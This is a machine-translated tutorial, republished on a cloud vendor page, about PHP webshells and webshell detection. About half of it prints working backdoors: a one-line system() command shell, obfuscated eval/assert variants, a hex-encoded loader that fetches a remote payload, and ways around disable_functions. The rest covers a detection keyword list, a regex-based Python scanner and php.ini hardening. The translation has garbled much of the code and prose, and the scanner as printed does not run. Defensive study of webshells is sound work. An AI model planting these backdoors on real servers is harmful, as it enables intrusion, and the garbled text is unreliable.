PHP security-webshell and webshell detection, phpwebshell Backdoor

Source: Internet
Author: User

PHP security-webshell and webshell detection, phpwebshell Backdoor

PHP-based applications face various attacks:

  • XSS: For PHP Web applications, cross-site scripting is a vulnerable point. Attackers can exploit this vulnerability to steal user information. You can configure Apache or write safer PHP code (verify all user input) to prevent XSS attacks.

  • SQL Injection: This is a vulnerable attack point at the database layer in PHP applications. The defense method is the same as above. A common method is to use mysql_real_escape_string () to escape the parameters and then perform SQL queries.

  • File Upload: It allows visitors to place (upload) files on the server. This may cause a series of problems, such as deleting server files, databases, and getting user information. You can use PHP to disable file upload or write safer Code (for example, to test user input, only png and gif images can be uploaded)

  • Contains local and remote files: Attackers can enable remote servers to open files, run any PHP code, upload or delete files, and install backdoors. You can prevent Remote File Execution by canceling the settings.

  • Eval/assert: This function can execute a string like PHP code. It is usually used by attackers to hide code and tools on the server. By configuring PHP, canceling eval and other function calls

  • Sea-surt Attack (Cross-site request forgery, CSRF. Cross-Site Request Forgery): This attack causes end users to execute unspecified behaviors under the current account. This will endanger the data and Operation Security of end users. If the target end user's account is used for administrator permissions, the entire Web application will be threatened.

This section describes the methods of the above-mentioned bold attacks.

I. Various webshells

As the business volume increases, more and more hackers are attacking and scanning websites. Website security is becoming increasingly important. hackers are getting control of the server without any worries. The most common way is to upload trojan files through POST requests, in this way, attackers can execute arbitrary commands. If they are controlled, this would be a bad thing.

Therefore, we still need to face up to the security of servers.

The most popular backdoor is called a one-sentence Trojan. Its format is as follows:

<?phpif(isset($_REQUEST['cmd'])){    $cmd = ($_REQUEST["cmd"]);    system($cmd);    echo "</pre>$cmd<pre>";    die;}?>

This vulnerability is easily detected by security software. In order to enhance concealment, there is a variety of distortion of a Single-sentence Trojan, Which is disguised by various functions,The weak PHP type is fatal to security.

A. Use the str_replace Function
<? Php $ a = str_replace (x, "", "axsxxsxexrxxt"); $ a ($ _ POST ["code"]);?> // Description: Request Parameter? Code = fputs (fopen (base64_decode (J2MucGhwJw =), w), base64_decode ("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg =") final command execution <? Php assert (fputs (fopen ('C. php', w), "<? Php @ eval ($ _ POST [a]);?> ")?>
B. Use the str_rot13 function.
<? Php ($ code = $ _ POST ['code']) & @ preg_replace ('/ad/E ','@'. str_rot13 ('riny '). '($ code)', 'add');?> // Note: first, use str_rot13 ('riny') to hide the eval function. Then, with the e modifier, after preg_replace completes string replacement, the engine evaluates the result string as the php code using the eval method and uses the return value as the final string to be replaced.
C. Use the include Function
<? Php $ filename = $ _ GET ['code']; include ($ filename);?> // Because the include method can directly compile files in any format to run in php format, you can upload a php file in txt format and write the real backdoor into the text.
D. Use the pack function.
<?php if(empty($_SESSION['api']))    $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);?>
E. Use session
<?phpsession_start();$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
F. hide on the html page
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">G. Use the assert function.
<?php assert($_POST[sb]);?>
Or
<?php$item['wind'] = 'assert';$array[] = $item;$array[0]['wind']($_POST['iixosmse']);
H. Use the copy function to copy files.
<?php$reg="c"."o"."p"."y";$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
Ii. code obfuscation
<?php  @$_++; // $_ = 1  $__=("#"^"|"); // $__ = _  $__.=("."^"~"); // _P  $__.=("/"^"`"); // _PO  $__.=("|"^"/"); // _POS  $__.=("{"^"/"); // _POST  ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  ?> 

Or

<?php      $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";      $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";      $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");      $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";      $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";      $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");      $jgfi = $ftdf("l","","lclrlelaltel_functlilon");      $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  ?>

The weevely tool can be used to generate the Code. The Code disguise avoids various Mainstream anti-virus software.

PHP webshell generation tool weevely

Weevely is a free software for PHP webshell. It can be used to simulate a connection shell similar to telnet. weevely is usually used to exploit web program vulnerabilities, attackers can hide backdoors or use telnet-like methods to replace web page-based management. The php code generated by weevely is base64-encoded, so they can cheat the Mainstream anti-virus software and IDS, after uploading the server code, you can run it directly through weevely.

The PHP backdoor generated by weevely uses the mainstream base64 encryption and string deformation technology. All functions used in the backdoor are commonly used string processing functions, functions such as eval and system that are used as check rules do not directly appear in the code, which can cause the backdoor file to bypass the check of the backdoor search tool. Scan by using the webshell detection and removal tool of the hidden group. The results show that the file has no threats.

A more common method for audio/video recognition: (this is a server-level obfuscation)

  • File modification time

  • Renaming is integrated into the uploaded folder, which makes it impossible to see the file exception.

  • Disguised processing of file size (at least looks like a normal script)

  • Select the hiding path and minimize access

  • Malformed directory % 20

3. If the configuration file is bypassed

Generally, the server administrator will disable dangerous functions such as system and exec. How can this problem be bypassed?

1. Use reflection

For more information, see http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php.

<?php$func = new ReflectionFunction("system");echo $func->invokeArgs(array("$_GET[c]"));?>
2. Use callback

Another way php can call the function indirectly is callback. Here the ob_start is used. For details, refer to: http://www.php.net/manual/en/function.ob-start.php

<?php$cb= 'system';ob_start($cb);echo $_GET[c];ob_end_flush();?>

There are many other functions that support callback in php, such as array_map, array_filter, array_reduce, usort (), uksort (), and array_walk ().

4. What should security personnel do? 1. How to find

There are also many ways to find

  • An exception was found during file backup comparison by file name/modification time/size (SVN/Git comparison to check whether the file was modified)

  • WEBSHELL scan scripts found, such as Scanbackdoor. php/Pecker/shelldetect. php/(zhujiweishi)

  • Access. log access log Analysis

The following figure shows the 360 zhujiweishi, which is very simple and easy to use on linux servers.

Use common keywords such as (you can use commands such as find and grep to search for whether the Code contains the following files)

  • System Command Execution: system, passthru, shell_exec, exec, popen, proc_open

  • Code execution: eval, assert, call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • File Inclusion: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

Use a simple python script

#! /Usr/bin/env python # encoding: UTF-8 import OS, sysimport reimport hashlibimport time rulelist = ['(\ $ _ (GET | POST | REQUEST )\[. {0, 15} \] \ s {0, 10} \ (\ s {0, 10} \ $ _ (GET | POST | REQUEST )\[. {} \] \) ',' (eval | assert) (\ s | \ n) * \ (\ s | \ n) * \ $ _ (POST | GET | REQUEST )\[. {0, 15} \] \) ',' (eval (\ s | \ n) * \ (base64_decode (\ s | \ n )*\((. | \ n) {1,200 })', '(function \ _ exists \ s * \ (\ s * [\' | \ "] (popen | exec | proc \ _ open | passthru) + [\ '| \ "] \ s * \)', '(e Xec | shell \ _ exec | passthru) + \ s * \ (\ s * \ $ \ _ (\ w + )\[(. *) \] \ s * \) ',' (\ $ (\ w +) \ s * \ (\ s. chr \ (\ d + \) ',' (\ $ (\ w +) \ s * \ $ \{(. *) \}) ',' (\ $ (\ w +) \ s * \ (\ s * \ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER) + \[(. *) \] \ s * \) ',' (\ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER) + \[(. *) \] \ (\ s * \ $ (. *) \) ',' (\ $ \ _ \ = (. *) \ $ \ _) ',' (\ $ (. *) \ s *\((. *) \/e (. *) \, \ s * \ $ \_(. *)\,(. *) \) ',' (new com \ s * \ (\ s * [\ '| \ "] shell (. *) [\ '| \ "] \ s * \)', '(echo \ s * curl \ _ exec \ s * \ (\ s *\ $ (\ W +) \ s * \) ',' (fopen | fwrite | fputs | file \ _ put \ _ contents) + \ s *\((. *) \ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER) + \[(. *) \] (. *) \) ',' (\ s * \ $ \ _ FILES \[(. *) \] \ [(. *) \] \ s * \, \ s * \ $ \ _ (GET | POST | REQUEST | FILES) + \[(. *) \] \ [(. *) \] \ s * \) ',' (\ $ \ _ (\ w + )(. *) (eval | assert | include | require | include \ _ once | require \ _ once) + \ s * \ (\ s * \ $ (\ w +) \ s * \) ',' (include | require | include \ _ once | require \ _ once) + \ s * \ (\ s * [\ '| \ "] (\ w + )\. (jpg | gif | ico | bmp | Png | txt | zip | rar | htm | css | js) + [\ '| \ "] \ s *\))', '(eval \ s * \ (\ s * \ $ (\ w + ))', '(eval | assert | include | require | include \ _ once | require \ _ once | array \ _ map | array \ _ walk) + \ s * \ (\ s * \ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER | SESSION) + \[(. *) \] \ s * \) ',' (preg \ _ replace \ s *\((. *) \ (base64 \ _ decode \ (\ $) '] def scan (path): print ('suspicious files') print (' * 30) for root, dirs, files in OS. walk (path): for filespath in files: if OS. path. get Size (OS. path. join (root, filespath) <1024000: file = open (OS. path. join (root, filespath) filestr = file. read () file. close () for rule in rulelist: result = re. compile (rule ). findall (filestr) if result: print 'file:' + OS. path. join (root, filespath) print 'malicious code: '+ str (result [0] [0: 200]) print ('Last modification time:' + time. strftime ('% Y-% m-% d % H: % M: % s', time. localtime (OS. path. getmtime (OS. path. join (root, filespath) print '\ n \ N' breakdef md5sum (md5_file): m = hashlib. md5 () fp = open (md5_file) m. update (fp. read () return m. hexdigest () fp. close () if md5sum ('/etc/issue') = 'hangzhou': if md5sum ('/usr/sbin/sshd') = 'abf7a90c36705ef679298a44af80b10b': pass else: print ('* 40) print "\ 033 [31 m sshd was modified, suspected to have a backdoor \ 033 [m" print (' * 40) time. sleep (5) if md5sum ('/etc/issue') = '6c9222ee501323045d85545853ebea55 ': If md5sum ('/usr/sbin/sshd') = '4bbf2b12d6b7f234fa01b23dc9822838 ': pass else: print (' * 40) print "\ 033 [31 m sshd was modified, suspected to have a backdoor \ 033 [m" print ('* 40) time. sleep (5) if _ name __= = '_ main _': if len (sys. argv )! = 2: print 'parameter error' print "\ t search by malicious code:" + sys. argv [0] + 'Directory name' if OS. path. lexists (sys. argv [1]) = False: print "the directory does not exist." exit () print ('\ n start searching:' + sys. argv [1]) if len (sys. argv) = 2: scan (sys. argv [1]) else: exit ()
2. How to Prevent php. ini settings
  • Disable_functions = phpinfo, passthru, exec, system, chroot, scandir, chgrp, chown, shell_exec, proc_open, commit, ini_alter, ini_alter, commit, dl, pfsockopen, openlog, syslog, readlink, symlink, popepassthru, stream_socket_server, get_current_user, leak, putenv, popen, opendir

  • Set "safe_mode" to "on"

  • Disable "open_basedir" to prohibit operations on files outside the specified directory.

  • Set expose_php to off so that php will not disclose information in the http file header.

  • Set "allow_url_fopen" to "off" to disable remote file Function

  • Log_errors "is set to" on "Error Log Enabled

Php Coding
  • All the information submitted by users, such as post get or data submitted in other forms, must be processed by a filter function. (intval, strip_tags, mysql_real_escape_string)

  • Check whether there is a trojan eval ($ _ POST [full site search for php code, whether there is such source code

  • File naming rules should be at least visible to you. Which PHP file names have problems?

  • Install the patch as soon as possible if you use open source code or a patch.

  • If attackers obtain the highest permissions on the server, they may modify the server's configuration file php. ini to hide backdoors. These attacks were popular in the past few years. The principle is as follows: php. the two configuration items in ini: auto_prepend_file and auto_append_file allow php to add some items into the file Automatically add files before or after any PHP document before parsing. If eval () is configured () the webshell of the function is very sinister. It cannot be found in the php file code. It only contains the eval () function before php parsing and all php pages are webshells because it is global! Therefore, you must first check that auto_prepend_file and auto_append_file are not configured as other items before performing source code check.

Server Configuration

Try to use the minimum permission during configuration. Do not write or execute directories and do not grant corresponding permissions.

When configuring nginx or apache, the directory that cannot be accessed must be configured as deny.

To be continued...

 

References

Https://github.com/chenpingzhao/php-webshells

Http://blog.csdn.net/miltonzhong/article/details/9714367

Http://blog.jobbole.com/53821/

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.